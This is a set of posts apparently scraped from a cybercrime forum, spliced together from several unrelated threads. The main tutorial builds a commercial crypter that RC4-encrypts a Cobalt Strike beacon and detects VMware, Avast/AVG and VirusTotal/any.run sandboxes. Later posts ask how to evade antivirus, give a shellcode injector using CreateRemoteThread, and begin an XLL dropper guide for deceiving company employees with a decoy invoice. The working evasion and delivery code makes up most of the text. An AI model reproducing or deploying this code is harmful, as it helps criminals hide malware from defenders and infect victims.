return -1;
}
CloseHandle(hEncBeacon);
Nothing Just using the RC4 encryption library.
In the main function as you can see we used the args to read the path of the input and output files and the Key used for the encryption and decryption
After doing the encryption we add a file called key.h This is where we store
the hex key after converting the string to hex and save it as hex then
we use the same method to convert the shellcode into hex and c-type shellcode
so we can compile it within the same stub without needing to download it or
adding it to the PE Section
In the for loop, we use the function sprintf to convert the char to hex and save it to the Temp variable then we use strcat to move it to the Main Variable, and the if statement checks if we access to the last char and if yes use sprintf without comma other than that we add a comma after every byte and in final we print it and write it to the file key.h
Finally, we encrypt the shellcode and save it as shellcode.enc
The conversation will be in Python we will see this soon
But for now, you can use hxd to convert the shellcode.enc to c type unsigned
char and save it in the file name it enc.h
Copy the ech.h to the stub or Decrypter and recompile it now go to your
virtual Box and make sure Windows Defender is up to date. When we finish the
project you will not need to copy or move anything because everything will be
automatically
Attention: For more, I will Record a video to show you the Proof and will not take a static image so everyone can see The bypass
Good we finished the RC4 encryption, now let's start with the next future
# Anti Sandbox and virtual machines ( Detecting VMware and virtual box )
Add the following code :
C++:Copy to clipboard
BOOL IsVmwareDetect()
{
HRESULT hres;
hres = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres))
{
return FALSE;
}
hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
if (FAILED(hres))
{
CoUninitialize();
return FALSE;
}
IWbemLocator* pLoc = 0;
hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
if (FAILED(hres))
{
CoUninitialize();
return FALSE;
}
IWbemServices* pSvc = 0;
hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
if (FAILED(hres))
{
pLoc->Release();
CoUninitialize();
system("pause");
return FALSE;
}
hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return FALSE;
}
IEnumWbemClassObject* pEnumerator = NULL; hres = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_VideoController "), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
CoUninitialize();
return FALSE;
}
else
{
IWbemClassObject* pclsObj;
ULONG uReturn = 0;
while (pEnumerator)
{
hres = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
if (0 == uReturn)
{
break;
}
VARIANT vtProp;
hres = pclsObj->Get(L"Name", 0, &vtProp, 0, 0);
if (wcscmp(vtProp.bstrVal, L"VMware SVGA 3D") == 0)
{
printf("Vmware Detected ... \n");
return TRUE;
}
VariantClear(&vtProp);
pclsObj->Release();
pclsObj = NULL;
}
}
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
CoUninitialize();
return FALSE;
}
And this if statement in Main before the shellcode decryption and invoking
This is my own method I searched on Google to see if anyone shared it I got 0
results
To detect the Vmware and virtual box we need to get the Graphic card name and
then compare it with a static Graphic card name that is used by Vmware
The explanation is in PART 2 To not spam you can get back to PART 2
# Bypass Avast and AVG Sandbox ( this is a very important and private method )
Here is also my own method after some analysis of the sandbox of AVG And Avast I detected a bug in the Avast sandbox system and the bug is :
When we try to connect to the root using the function IWbemLocator::ConnectServer
In a real PC even when running the software Or the code on VMware or VirtualBox the software can still connect when running and these two sandboxes can’t.
So here we figure out how we can exploit this bug, first add the code below
C++:Copy to clipboard
BOOL IsSandboxDected()
{
HRESULT hres;
hres = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres))
{
return FALSE;
}
hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
if (FAILED(hres))
{
CoUninitialize();
return FALSE;
}
IWbemLocator* pLoc = 0;
hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
if (FAILED(hres))
{
CoUninitialize();
return FALSE;
}
IWbemServices* pSvc = 0;
hres = pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
if (FAILED(hres))
{
//cout << "Sandbox Detected " << endl;
pSvc->Release();
pLoc->Release();
CoUninitialize();
//system("pause");
return TRUE;
}
//system("pause");
pSvc->Release();
pLoc->Release();
CoUninitialize();
return FALSE;
}
In the main function add this code also.
C++:Copy to clipboard
if (IsSandboxDected() == TRUE)
{
exit(0);
}
You can see there is a similarity between the code that detects the VMware and the code that is used to detect the Avast and AVG Sandbox.
The main difference is that in the Detect VMware, we Pass the connect to the namespace so we can query the video card names but in the Avast sandbox we can’t so there are the main differences.
# Anti Virus Total and Anti app.any.run
This future is huge and we need to create a stand-alone project to start using it and gathering information
This project is splited into two splits
The first one is the information gathering
The second is the main malware and this step and code will be added after we
get the company's network names that are really used by Virustotal and
app.any.rn
What’s required First you need a VPS or VPN that allows you to open ports, second a web server iam using Wampserver.
Next, create a new empty c++ project Name it Honeypot
Create a php file also name it honeypot.php
Create a table and name it ASN and add two columns first id and the second asn
In the php file add this code
PHP:Copy to clipboard
<?php
$sandboxIp = $_SERVER['REMOTE_ADDR'];
$sandboxData = file_get_contents("https://ipinfo.io/$sandboxIp?token=2c57fdbc9513d2");
$js = json_decode($sandboxData,true);
$org = $js["org"];
if(strstr($org,"Amazone"))
{
print(0);
}
$file_open = fopen('sandbox_data.txt','a+');
fwrite($file_open,$org);
fclose($file_open);
?>
In the c++ project add this code
C++:Copy to clipboard
int main(int argc , char* argv[])
{
WSADATA ws;
struct addrinfo* result = NULL, * ptr = NULL, hints;
ZeroMemory(&hints, sizeof hints);
int Res = WSAStartup(MAKEWORD(2, 2), &ws);
const char *host = "91.109.180.2";
const char *port = "80";
Res = getaddrinfo(host, port, &hints, &result);
ptr = result;
SOCKET Sock = INVALID_SOCKET;
Sock = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
Res = connect(Sock, ptr->ai_addr, ptr->ai_addrlen);
char* buffer;
buffer = (char*)malloc(500);
strcpy(buffer, "GET /honeypot.php HTTP/1.0\r\n");
strcat(buffer, "Host: ");
strcat(buffer, host);
strcat(buffer, "\r\n");
strcat(buffer, "\r\n");
Res = send(Sock, buffer, strlen((const char*)buffer), 0);
Return 0;
}
The php code is very simple just getting the ip of the Sandbox and then using ipinfo api to get ip information. The important thing is the retrieved data will focus on the ASN or Autonomous System Number and finally save the Autonomous System Number on the database Aslo you can save them in a Text file this step up two you because as I said before this step is only to gather information
Will use the ASN to detect company networks, Meaning if our malware gets
executed from a Company Network such as Microsoft, Google, Amazon, or any
other Company VPS, that clearly means our malware is being analyzed by the
target or even by the malware analysis team . and to stop them We will BLOCK
any connection that came from these CORPS
As you may already know VirusTotal Or app.any.run is using these corps just
described above like Microsoft, and Google VPS to run their sandboxes !!
So we can use this knowledge to Fight them and bypass them
Also in c++ code, we just make a connection to the honeypot.php nothing more
Attention: these two codes above are only for now used to gather information
and build our own database about the ASN and org the Org contains ASN and
corps name
Like this
HTML:Copy to clipboard
"org": "AS8075 Microsoft Corporation",
Now if you search this ASN in Google you can find this ASN owned by Microsoft Corporation
Also to remind you These public companies' ASNs are also public but iam giving you this technique if you wanna block a custom or a target network you don’t know or can’t find their ASN
Also sometimes Virustotal may use different Networks and you will see how Virustotal shares your EXE with other companies when you upload the honeypot.exe to virus total and start getting connections from different countries
Compile the honeypot project and make sure you replace the ip with your server ip and the path of your file and upload it to Virustotal
Wait until the sandbox finishes checking the behavior
Now go and check your database it should have a lot of ASNs and companies'
names we need to block them
Also, get a from the internet and ASN databases and add them to your database
for more success
Here we finished gathering information about companies' networks that may be used if our malware gets uploaded to Virustotla or app.any.run
Now get back to the decrypt project and add the same code that we added to
Honeypot
But this time will make them inside a function and will invoke it after the
Vmware and AVG sandbox detection functions as below
C++:Copy to clipboard
BOOL isVtDetected()
{
WSADATA ws;
struct addrinfo* result = NULL, * ptr = NULL, hints;
ZeroMemory(&hints, sizeof hints);
int Res = WSAStartup(MAKEWORD(2, 2), &ws);
const char* host = "91.109.180.2";
const char* port = "80";
Res = getaddrinfo(host, port, &hints, &result);
ptr = result;
SOCKET Sock = INVALID_SOCKET;
Sock = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
Res = connect(Sock, ptr->ai_addr, ptr->ai_addrlen);
char* buffer;
buffer = (char*)malloc(500);
strcpy(buffer, "GET /index.php HTTP/1.0\r\n");
strcat(buffer, "Host: ");
strcat(buffer, host);
strcat(buffer, "\r\n");
strcat(buffer, "\r\n");
Res = send(Sock, buffer, strlen((const char*)buffer), 0);
// recive section
int recivedData_length = 2500;
char* recived_Buffer;
recived_Buffer = (char*)malloc(recivedData_length);
Res = recv(Sock, (char*)recived_Buffer, recivedData_length, 0);
if (strstr(recived_Buffer, "403 Forbidden"))
{
printf("Virustotal detected \n");
return TRUE;
}
free(buffer);
free(recived_Buffer);
return FALSE;
}
The reason for why we add the virus total detection code after these two functions is we may detect Vmware or AVG without making any outside connection and leaking our domain or ip so this is better and safer
Copy the honeypot.php and name the copy as index.php
And add this code
PHP:Copy to clipboard
<?php
$sandboxIp = $_SERVER['REMOTE_ADDR'];
$sandboxData = file_get_contents("https://ipinfo.io/$sandboxIp?token=2c57fdbc9513d2");
$js = json_decode($sandboxData,true);
$org = $js["org"];
if(strstr($org,"Microsoft Corporation"))
{
header('HTTP/1.1 403 Forbidden');
}
else if(strstr($org,"UK Dedicated Servers Limited"))
{
header('HTTP/1.1 403 Forbidden');
}
else if(strstr($org,"Google LLC"))
{
header('HTTP/1.1 403 Forbidden');
}
else if(strstr($org,"Vimpelcom"))
{
header('HTTP/1.1 403 Forbidden');
}
else if(strstr($org,"Amazon.com, Inc."))
{
header('HTTP/1.1 403 Forbidden');
}
else if(strstr($org,"Zwiebelfreunde"))
{
header('HTTP/1.1 403 Forbidden');
}
else if(strstr($org,"IELO-LIAZO SERVICES SAS"))
{
header('HTTP/1.1 403 Forbidden');
}
else
{
// do no thing mean will return 200 ok by default
}
//
?>
Explaining the two Codes above
In the php code same as the honeypot.php code but the main difference here is now we are not storing the corps names or ASN after collecting the information we need to use to detect the VT scan now we are checking directly the ip data with the gathered data if the org contains names such as UK Dedicated Servers Limited, Microsoft, Amazon.com, Inc., Vimpelcom, Google LLC and Zwiebelfreunde e.V.
Will return http 403 Forbidden using the header function
Otherwise will do nothing this by default will return 200 Ok
In the C++ code is simple to make a connection to the server and if the server returns 403 Forbidden exit the process using the exit function otherwise continue like normal we can use the same function we used in the php strstr function to check if the string contains a string in the text
As you can see in the image above.
To simulate this process you can use the Server or VPS ip as I did I used my
VPN IP and the org data is AS29075 IELO-LIAZO SERVICES SAS
So I added this to the if statement in php code so when I access this from my
IP I will get detected and return 403 forbidden when I remove the if and
access again will see 200 OK.
The only reason to simulate the process of Virustotal detection is just to know how the program will act in real life and also to show you the proof
Good now we finished almost everything now we have three Main projects
1- Hasher
2- Rc4Crypter
3- stub
Two of them will be compiled and the third will not and the reason for this is
the stub or decrypter is the main crypt and will compile it on the fly using
the Gui crypter and the other two files will be used to hash the strings for
the custom functions GetModuleHandle and GetProcAddress and store them in
Config.h
And the rc4crypt will crypt the Cobalt strike beacon and store the key for
encryption and decryption in the key.h
These three files generated by the two projects above will be them in the stub.exe
Now compile the hasher.exe and rc4crypt.exe
Go to www of your server and remember the folder we created and store the
auth.php file in PART 1 we name it crypter go to it and inside it create a
folder and name it project
Inside the project folder copy the index.php that we use it above to detect Virustotal and app.any.run Also copy the hasher.exe and rc4crypt.exe to the project folder
Now go to the stub folder and copy it to the Project folder Total should be
like the image below
Delete these files: Config.h , enc.h, and key.h inside the decrypt project
Cause these 3 files will be generated on the fly before compiling the stub
Now create a new php file name it builder.php and create a python file shellcodegenerator.py and now here you should install Python
In the Python file add this code
[python]
The code is so simple just open the file that we want to encrypt in our situation it's the cobaltstrike beacon then convert the bytes to hex and every 12 rounds add a new line after finishing add the variable name and type then write the shellcode to enc.h
As you can see in the image
This shellcode type c is generated by the Python file
Tell now everything is awesome
But this project is not finished yet and now we need to make everything Automatic
Before anything let's assume we have 10 customers and 1 of them is using the crypter we can’t let the 9 others wait for the first customer to finish and then use the crypt so to fix this problem we need to create a copy of the decrypt project every time the customer starts crypting new shellcode.
Don't worry everything will be explained first
Open the builder.php file and write the following code
PHP:Copy to clipboard
<?php
error_reporting(0);
function genRandname($length) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
function XcopyFolder($Randname)
{
exec("mkdir $Randname");
exec("Xcopy /E/I decrypt $Randname");
}
function StubUpload($ProjectPath)
{
$stub_name = basename($_FILES["fileToUpload"]["name"]);
$ProjectPath = $ProjectPath."/"."stub.bin";
if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ProjectPath))
{
//echo "stub uploaded success";
}
else
{
//echo "Sorry, Faild to upload the stub";
}
}
function geVarName()
{
for($i=0;$i<=9999;$i++)
{
$randVar = genRandname(5);
//echo $randVar."\n";
if(is_numeric($randVar[0]))
{
continue;
}
else
{
break;
}
}
return $randVar;
}
function HashString($ProjectPath)
{
$funcs_pep_name = geVarName();
$funcs_file_read = file_get_contents("$ProjectPath\\funcs.h");
$funcs_file_replace = str_replace("pBEB",$funcs_pep_name,$funcs_file_read);
$funcs_file_write = file_put_contents("$ProjectPath\\funcs.h",$funcs_file_replace);
// $funcs_replacement_ntdll_name = geVarName();
// $funcs_file_read = file_get_contents("$ProjectPath\\main.cpp");
// $funcs_file_replace = str_replace("replacement_ntdll",$funcs_replacement_ntdll_name,$funcs_file_read);
// $funcs_file_write = file_put_contents("$ProjectPath\\main.cpp",$funcs_file_replace);
// $funcs_IsSandboxDected_name = geVarName();
// $funcs_file_read = file_get_contents("$ProjectPath\\funcs.h");
// $funcs_file_replace = str_replace("IsSandboxDected",$funcs_IsSandboxDected_name,$funcs_file_read);
// $funcs_file_write = file_put_contents("$ProjectPath\\funcs.h",$funcs_file_replace);
// $funcs_file_read = file_get_contents("$ProjectPath\\main.cpp");
// $funcs_file_replace = str_replace("IsSandboxDected",$funcs_IsSandboxDected_name,$funcs_file_read);
// $funcs_file_write = file_put_contents("$ProjectPath\\main.cpp",$funcs_file_replace);
}
function __Main__()
{
$randomFolderName = genRandname(30);
if($_SERVER['REQUEST_METHOD'] === 'POST')
{
XcopyFolder($randomFolderName);
StubUpload($randomFolderName);
echo $randomFolderName;
}
else
{
$pharse = $_GET["pharse"];
$foldername = $_GET["foldername"];
HashString($foldername);
exec("hasher.exe $foldername\\");
exec("rc4Crypter.exe $foldername\\stub.bin $foldername\\ $pharse");
#build the crypter
$commend = "MSBuild.exe ";
$commend .= "$foldername\Decrypt.vcxproj -t:Rebuild -p:Configuration=Release";//
exec($commend);
exec("move $foldername\Release\decrypt_stub.exe $foldername\stub.exe");
echo "$foldername/stub.exe";
}
}
__Main__();
?>
What this function does is generate a random string name for the copied folder
Then we use the XcopyFolder folder function to create the new folder and copy
the project files to it before starting runtime obfuscation and building the
project
The StubUpload function is responsible for uploading the stubs or malwares
from the customer's PC to the server to do the encryption of it
Also, you can see clearly the function geVarName and this function is for generating a random string but as you may already know programming languages do not accept the starting of a function or variable name as a number so inside the function we make a loop to generate random strings and check if the first character is numeric continue other than this break and return the random string
HashString the runtime obfuscation function.
In this function, we use the geVarName function as I said before to generate a
random string
Then we use the function file_get_contents to read the file has the variables
or functions we need to obfuscate then use the str_replace function to replace
the random generated variable name with the one we need to change
In this example, I only obfuscate the PPEB variable name only to show you the proof but you can obfuscate all variables you want with the same technique only changing the file name and variable name. but here you need to focus because for example if you obfuscate a function name for example in funcs.h file and the function is included in main.cpp here you also need to include the main.cpp and obfuscate the same function name with the same technique above
Finally, we use file_put_content to replace the old file that is not obfuscated strings with the new one that we obfuscate.
The Function Main invokes everything above.
First, in this function, We use the function genRandname to generate a random
folder name then as you can see we checked the request type is it GET or POST
if a post Request that means we are in the Uploading stage we are uploading
the stub so what we do after generating the random folder name we pass the
folder name to the function XcopyFolder to create the directory for us and
copy the decrypt project files to the newly generated file, then we invoked
the stub upload function to start the uploading after we finished uploading we
print the folder name so we can use it in the stage2 and you can see that in
the Qt section Soon
And if the request is a GET request then this means we are in stage 2
Here we are reading the phrase or password from the URL and folder name also
Then we invoke the function HashString to do the runtime obfuscation
Now fire up your Qt we're going to need it
Go to mainwindow.h and add this code
private slots:
C++:Copy to clipboard
void onFileUploadonfinished(QNetworkReply *rep);
void onStage2finished(QNetworkReply *rep);
void onDownloadingFinished(QNetworkReply *rep);
and in mainwindow.cpp add this code
C++:Copy to clipboard
void MainWindow::onDownloadingFinished(QNetworkReply *rep)
{
QByteArray ReadedBytes = rep->readAll();
rep->disconnect();
QString string_Body(ReadedBytes);
//qDebug() << "3 - Replay : \n" << string_Body << "\n";
QFile file(ui->saved_file_path->text());
file.open(QIODevice::WriteOnly);
file.write(ReadedBytes);
file.close();
QMessageBox::information(this,"Succes"," Succes");
}
void MainWindow::onStage2finished(QNetworkReply *rep)
{
QByteArray ReadedBytes = rep->readAll();
rep->disconnect();
QString string_Body(ReadedBytes);
qDebug() << "2 - Replay : \n" << string_Body << "\n";
// stage 3 builder.php?stage3=1
QString Url3 = "http://127.0.0.1/crypter/project/";
Url3.append(string_Body);
//qDebug() << "stage 3 url " << Url3 << "\n";
QUrl stage2url(Url3);
QNetworkAccessManager *ntmanager = new QNetworkAccessManager(this);
connect(ntmanager,&QNetworkAccessManager::finished,this,&MainWindow::onDownloadingFinished);
ntmanager->get(QNetworkRequest(stage2url));
}
void MainWindow::onFileUploadonfinished(QNetworkReply *rep)
{
QByteArray ReadedBytes = rep->readAll();
rep->disconnect();
QString string_Body(ReadedBytes);
//qDebug() << "1 - Replay : \n" << string_Body << "\n";
// stage 2
QString Url2 = "http://127.0.0.1/crypter/project/builder.php?stage2=1&foldername=";
Url2.append(string_Body);
Url2.append("&pharse=");
Url2.append(ui->pharse->text());
QUrl stage2url(Url2);
QNetworkAccessManager *ntmanager = new QNetworkAccessManager(this);
connect(ntmanager,&QNetworkAccessManager::finished,this,&MainWindow::onStage2finished);
ntmanager->get(QNetworkRequest(stage2url));
}
void MainWindow::stage1(QString filepath)
{
QUrl url("http://127.0.0.1/crypter/project/builder.php");
QHttpMultiPart* mp = new QHttpMultiPart(QHttpMultiPart::FormDataType);
// Add the image data.
QFile file(filepath);
file.open(QIODevice::ReadOnly);
QHttpPart imagePart;
imagePart.setHeader(QNetworkRequest::ContentDispositionHeader, "form-data; name=\"fileToUpload\"; filename=\"" + file.fileName() + "\"");
imagePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/octet-stream");
imagePart.setBody(file.readAll());
mp->append(imagePart);
// stage 1
QNetworkAccessManager *manager = new QNetworkAccessManager(this);
QNetworkReply* reply = manager->post(QNetworkRequest(url), mp);
mp->setParent(reply);
manager->setTransferTimeout(1000000000);
connect(manager,&QNetworkAccessManager::finished,this,&MainWindow::onFileUploadonfinished);
}
void MainWindow::on_encrypt_button_clicked()
{
if(!stub_path.isEmpty() && !encrypted_stub_path.isEmpty() && !ui->pharse->text().isEmpty())
{
//[qt1]
stage1(stub_path);
}
else
{
QMessageBox::critical(this,"Error"," Please make sure all inputs are not Empty");
}
}
This code is responsible for the three stages left.
1 - upload the stub create the folder and copy files of the project to the
newly generated folder
2 - pass the phrase or password to the server so the server can use it to
encrypt the stub and retrieve the download path of the encrypted stub
3 - download the encrypted stub
All done the Project is finished.
If you have suggestions about a new tutorial in the malware development category please tell me in posts or PM me I will try hard to create it and it for xss forum members
All files of the project can be downloaded from this link:
Password : xss.is
Короче я думал написать свой аналог вектору посредством(malloc/realloc), ведь
это нормально так уберет вес и на какое-то время даже запутает реверс-инженера
(нет).
Но узнал что существует такие методики как двухсвязанный/односвязанный
список(когда элемент указывает на впереди стоящий элемент). Реализация
быстрая, но собрались вопросики)
Есть ли смысл практического использования данного дела для ускорения
процесса сбора там данных/обработки чего-то?
И как на подобные вещи реагирует авер?
Или есть резон тупо написать свою реализацию векторов, чтобы работало с любым
типом данных?
Я в курсе что существует stl: list(аналог вектору, но выполняющий функ.
двусвязанного), но тут вес и стороннее добро от майков.
Интересно послушать мнение людей, которые возможно имели практический опыт работы.
Всем привет!
Подскажите методику правки исходников чтобы билд переставал чекаться АВ.
Согласно доступной мне теории делал исправлял имена переменных и функций, строки склеивал. Не помогает.
Что ещё делать можно?
Щас проблема(Актуальная), что авто-выдача и другие клики (В хуке) не работает. Говорили "Кодеры" что в Андроид 14 убрали способ выдачи, сказали только способ по координатам
Hello, in this thread I will start a new project where my plan is to begin with a very simple code and improve it along the time using my free time. As you all will notice this first version of the code have nothing fancy and it is the purpose that it start from the most basic thread(shellcode) injector. So for this starting point I choose the following requirements .
The program should receive a single parameter which is the Process ID of the target process to inject the shellcode and to just use C standard library and WinAPI. For this first version there is no much to talk about, I used the atoi() function to convert the parameter(process id) from C string to integer and then a sequence of calls to WinAPI to reach the goal. The name of the functions from WinAPI are self explanatory but I'm also adding the links to documentation just in case.
The payload included with the program is just a "NOP NOP NOP RET" in x86_64 is useful in this context to test if the injector is working, the target process should keep running fine and the injector itself should end returning 0.
Implementation:
C:Copy to clipboard
#include <Windows.h>
#include <stdio.h>
#include <stdbool.h>
char payload[] = { 0x90,0x90 ,0x90, 0x90, 0xc3 };
int main(int argc, char** argv)
{
int pid;
HANDLE proc_handle, remote_thread_handle;
void* remote_mem;
size_t written;
if (argc < 2) {
printf("Usage: %s <pid>\n", argv[0]);
return 1;
}
pid = atoi(argv[1]);
proc_handle = OpenProcess(
PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ, false, pid);
if (proc_handle == NULL) {
printf("Can't open process %d\n", pid);
return GetLastError();
}
printf("proc_handle = %p", proc_handle);
remote_mem = VirtualAllocEx(
proc_handle, NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (remote_mem == NULL) {
printf("failed to allocate remote memory");
return GetLastError();
}
WriteProcessMemory(
proc_handle, remote_mem, payload, sizeof(payload), &written);
remote_thread_handle =
CreateRemoteThread(proc_handle, NULL, 0,
(LPTHREAD_START_ROUTINE)remote_mem, NULL, 0, NULL);
if (remote_thread_handle == NULL) {
printf("failed to create remote thread");
return GetLastError();
}
return 0;
}
This simple program which don't even inject malicious code yet is already flagged as defense evasion by defender as can be seen on the following image, so in the next post I should change the code to just works without triggering defender:
Observation for mods: I will keep a similar thread on XSS, **** and Exp, just warn me if its should not be done here.
References:
![learn.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf- processthreadsapi-openprocess)
Opens an existing local process object.
learn.microsoft.com
![learn.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi- virtualallocex)
Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero. (VirtualAllocEx)
learn.microsoft.com
![learn.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi- writeprocessmemory)
Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
learn.microsoft.com
![learn.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf- processthreadsapi-createremotethread)
Creates a thread that runs in the virtual address space of another process.
learn.microsoft.com
Появилась потребность морфить исходный код, немного есть представление, но
хочется услышать мнение других.
Возможно, у кого-то есть какие-то материалы, или помощь в конструкции, буду
очень благодарен.
Пробовал написать что-то, до генерации ветвлений не дошел
source: https://www.xss.is
Thread by : 0x43rypt0n
Write XLL Dropper in c++ , a red teams most used dropper , learn how to be like a red teams and APT groups by building your XLL Dropper
Before we dig deeper, what is the Hack Dropper, and what the Hack is the XLL Dropper what are the differences and when to use it and why to use it and not use an exe dropper
#What the Hack is Dropper
A Dropper is like a delivery vehicle that has a payload to drop when it
arrives at the target location!
We can take an example of Amazon delivery autopilot drones which carry
multiple payloads and when they arrive at a location it drop the payload on
the door of the house
Same for the Dropper in malware the dropper can carry 1 payload or more for
example an old Dropper may carry 1 video or photo and 1 rat and the hacker can
create an icon from the image that the dropper carries and change the icon of
the exe to the new icon and spoof the extension of the exe to be
dropper.png.exe and because windows default settings will not show the
extension it will appear like this dropper.png and the correct extension will
be hidden
When the hacker sends it to the target and the target clicks on it in 1 click
it will drop the image and run it and will drop the RAT and run it in 1 click
the will fool the target he clicking on the image because see they image show
up in his windows
But what he did not know was that the image may maybe in the temp folder
#What is the Hack is XLL Dropper and how does it work
Xll is a file extension or plugin for excel files
xll files are similar to dlls they are the same but the xll is not a normal
executable file it is a plugin for excel files
for example you can write a plugin for excel files and in the plugin, you can
add functions to calculate or add a formula for you and in excel you can
import the plugin or xll file and start using the functions that you create in
the plugins.
There is 1 more difference between the dll and xll files in dll you can not
click it to launch the only way to use it without loading it using exe using
loadlibraryA is by using the Rundll32.exe it but with xll, you can 1 click to
launch it and use it
when you click on the xll file the Excel will launch and you can start using
excel with xll loaded
But to make a 1 click xll dropper work there is a very important function we
will use
int WINAPI xlAutoOpen(void);
The functions take no arguments , For this function to be used correctly we need to export it from the xll file so the excel can use it and to make the xll file valid xll or the xll file will not opened using excel and will show an error
#How the Xll Dropper works
Same as the exe dropper but these days exe files and extension spoofing are
very detected
So as a solution Hackers and developers start using XLL files to deliver their
payload because
Excel files are widely used in companies almost every company uses Excel
So how does the xll drooper work?
When a target clicks an xll file the excel.exe will import the xll file and
search for the function xlAutoOpen if he finds it he triggers the function
Inside the xlAutoOpen function the hacker does what a normal dropper does like
dropping the excel file to the temp directory to fool the employee and drop
the Rat and starting them both
The target will see the excel file show up on his window so and the Rat will run in the background so no suspicious
#When to use Xll Dropper and when to use Exe Dropper?
So what to use? it depends on what are you targeting
Of course not all the targets will have excel installed so does the xll
dropper worse
The answer is yes if you are targeting a youtube channel , company employee
You can use the xll dropper but if you are targeting random people you can use
only Dropper as a PDF dropper by spoofing the extension and doing some icon
changes which I don't recommend
Now there are a few tools you need to download before we start coding
1 - Visual studio IDE
2 - Excel or Microsoft Office
3 - Putty to test the dropper you can use any other portable software
4 - Download Excel 2013 SDK from Microsoft <https://www.microsoft.com/en-
us/download/details.aspx?id=35567>
The installation is very easy
Lets start writing the XLL Dropper by creating a new dll project
As an Option You can disable precompiled headers you can do that by opening
the project properties C/C++ Precompiled headers
Precompiled headers change use /Yu to not using precompiled headers
Now you can delete the line #include "pch.h" and remove the file from the project
Before we add the headers and libraries for the Excel SDK will start coding
the dropper
But first create a new excel file that will be used to trick the company
employee
Examble for simple invoice :
Dont use it in attacks this is just an example
Back to the visual studio and create resource items the visual studio will automatically generate 2 files resource.h , resource.rc open the resource header add the 4 four defines
C:Copy to clipboard
#define EXCEL_FILE 105
#define EXCEL_INVOICE 106
#define EXE_FILE 107
#define PAYLOAD_FILE 108
EXCEL_FILE is the type of the file excel EXCEL_INVOICE is the name of the file
EXE_FILE is the type of the exe file PAYLOAD_FILE is the name of the exe file
Close the resource header and open the resource.rc right click and click on view code
Delete everything in the file and add these few lines
C:Copy to clipboard
#include "resource.h"
EXCEL_INVOICE EXCEL_FILE "invoice.xlsx"
PAYLOAD_FILE EXE_FILE "putty.exe"
So we include the resource header and add the type and the name of the file
and the last thing is the path of the file which in our case invoice.xlsx
putty.exe
Copy the putty and invoice files to the same directory of your project
Back to the main file and compile the project should compile success
Now first we need to get the path of the excel.exe this path is stored in the registry under
Computer\HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options
Value name: PROGRAMDIR
Now its the time to import the Excel sdk go to properties c/c++ General Add
additional include library
Add the path of the Sdk include library
Again go to Properties c/c++ Linker Input Additional dependencies add the path
of the library make sure you choose the 64 bit version now you can include the
sdk header
C:Copy to clipboard
#include "XLCALL.H"
Create the xlAutoOpen
C:Copy to clipboard
extern "C" __declspec(dllexport) short __stdcall xlAutoOpen()
{
}
The xlAutoOpen function is exported as you see here we add everything
Lets get the path of the excel.exe by querying the register
C:Copy to clipboard
HKEY key;
RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Office\\16.0\\Word\\Options", &key);
DWORD regType = REG_SZ;
char ExcelPath[MAX_PATH];
